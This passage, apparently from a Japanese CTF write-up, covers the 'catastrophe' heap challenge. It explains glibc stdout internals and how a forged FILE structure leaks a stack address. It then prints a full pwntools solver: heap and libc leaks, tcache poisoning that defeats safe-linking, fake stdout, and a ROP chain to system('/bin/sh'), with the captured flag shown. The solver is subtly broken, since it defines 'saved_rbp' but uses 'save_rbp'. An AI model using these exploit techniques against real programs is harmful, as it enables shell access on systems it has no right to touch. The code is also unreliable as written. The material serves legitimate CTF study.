	  f->_flags |= _IO_ERR_SEEN;
	  break;
	}
      to_do -= count;
      data = (void *) ((char *) data + count);
    }
  n -= to_do;
  if (f->_offset >= 0)
    f->_offset += n;
  return n;
}

writeを実行した後、IO_write_base,IO_write_ptrに_IO_buf_baseを、
fp->modeが0以下かつ、fp->flagの(_IO_LINE_BUF | _IO_UNBUFFERED)が立っていれば、 _IO_write_endに_IO_buf_endが設定されます。

以上がputcharが標準出力にデータを出力するまでの流れです。
引数に渡されるfile構造体によって挙動は違いますが今回はリークする際の挙動を示しました。

あとは上述したAAWを使い、_IO_write_baseをenvironに上書きした上で,_IO_write_ptrなどを適切な値に上書きできれば、stackアドレスをリークできます。
上書きするfile構造体メンバと設定する値は以下の通りです。

  • _IO_write_base = environ
  • fp->_IO_write_ptr = fp->_IO_write_end : __putc_unlocked_bodyマクロの条件回避
  • fp->flag=0xfbad1800 :上位2byteはmagic number 下位2byteは_IO_IS_APPENDINGと_IO_CURRENTLY_PUTTINGをセットしています
  • _IO_buf_base = _IO_buf_end = _IO_write_ptr: 初期化処理の際にwrite_ptrに適正な値を入れるため予め_IO_write_ptrの値を入れておきます

以下実際に入力するpayloadです。

stdout_fake_file = flat(
    0xfbad1800, #flag
    0, # _IO_read_ptr
    0, # _IO_read_end
    0, # _IO_read_base
    environ, # _IO_write_base
    environ + 0x8, # _IO_write_ptr
    environ + 0x8, #_IO_write_end
    environ + 0x8, # _IO_buf_base
    environ + 0x8, #_IO_buf_end
)

これを入力したあとでputcharがコールされるとスタックのアドレスがリークされます。

[*] stack  0x7ffc351a22b8
[*] Switching to interactive mode

rop

最後にスタックリークしたアドレスを使ってop_mallocのsaved_ripをsystem関数に上書きすればshellが取れます。

以下ソルバーです。

ソルバー
from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *op_view
b *op_malloc
b *op_free+64
continue
'''.format(**locals())


exe = "./catastrophe"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc.so.6",checksec=False)


def menu(io,select):
    io.sendlineafter(b"menu",select)

def malloc(io,idx,size,data):
    menu(io,b"1")
    io.sendlineafter(b"Index?",str(idx).encode())
    io.sendlineafter(b"Size?",str(size).encode())
    io.sendlineafter(b"Enter content:",data)

def free(io,idx):
    menu(io,b"2")
    io.sendlineafter(b"Index?",str(idx).encode())
    
def view(io,idx):
    menu(io,b"3")
    io.sendlineafter(b"Index?",str(idx).encode())

def leave(io):
    menu(io,b"4")

def safe_linking(addr,heap_base):
    return p64(addr ^ (heap_base >> 12))

io = start()


malloc(io, 0, 0x10,"AAA")
free(io,0)
view(io,0)

io.recvuntil(b"> ")
heap_base = u64(io.recv(5).ljust(8,b"\x00")) <<12
info("heap_base %#x",heap_base)

for i in range(7):
    malloc(io,i,0x100,b"AAA")

malloc(io,7,0x100,b"AAA")
malloc(io,8,0x100,b"BBB")

malloc(io,9,0x100,b"AAA")

for i in range(7):
    free(io,i)

free(io,7)
view(io,7)


io.recvuntil(b"> ")
libc_leak = u64(io.recv(6).ljust(8,b"\x00")) - 0x219ce0 
info("libc_leak %#x",libc_leak)

libc.address = libc_leak
binsh = next(libc.search(b"/bin/sh\x00"))
environ = libc.address + 0x221200 
stdout = libc.address + 0x21a780

info("environ: %#x", environ)
info("stdout: %#x", stdout)


free(io,8)

malloc(io,0,0x100,b"CCC")

free(io,8)


payload = flat(
    b"D" * 0x108, 0x111, safe_linking(stdout,heap_base) 
)

malloc(io,1,0x130,payload)
malloc(io,2,0x100,b"EEE")

stdout_fake_file = flat(
    0xfbad1800, #flag
    0, # _IO_read_ptr
    0, # _IO_read_end
    0, # _IO_read_base
    environ, # _IO_write_base
    environ + 0x8, # _IO_write_ptr
    environ + 0x8, #_IO_write_end
    environ + 0x8, # _IO_buf_base
    environ + 0x8, #_IO_buf_end
)


malloc(io,3,0x100,stdout_fake_file)
io.recv(1)

stack_leak = u64(io.recv(8).ljust(8,b"\x00")) 
info("stack  %#x",stack_leak)

free(io,1)
free(io,2)


# リークしたアドレスからsaved_ripまでの値を減算
# mallocのアラインメントのために0x8を減算
saved_rbp =  stack_leak - 0x130  -0x8

payload2 = flat(
    b"Y" * 0x108,
    0x111,
    safe_linking(save_rbp,heap_base)
)

malloc(io,5,0x130,payload2)
malloc(io,2,0x100,b"YY")


pop_rdi = libc.address + 0x000000000002a3e5
system = libc.sym["system"]
ret = libc.address+ 0x00000000000f872e

payload3 =flat(
    b"A"*8,
    ret,
    pop_rdi,
    binsh,system
)

malloc(io,3,0x100,payload3)

io.interactive()

これを実行するとシェルが取れます。

    b'cat flag*\n'
[DEBUG] Received 0x42 bytes:
    b'hope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}\n'
hope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}

感想

FSOPありのHEAP問を解いてみましたが非常に勉強になりました。
誤りなどあればご指摘ください。

参考文献

https://github.com/bminor/glibc/tree/4290aed05135ae4c0272006442d147f2155e70d7
https://ret2school.github.io/post/catastrophe/
https://smallkirby.hatenablog.com/entry/safeunlinking
https://smallkirby.hatenablog.com/entry/2020/03/18/043236

Discussion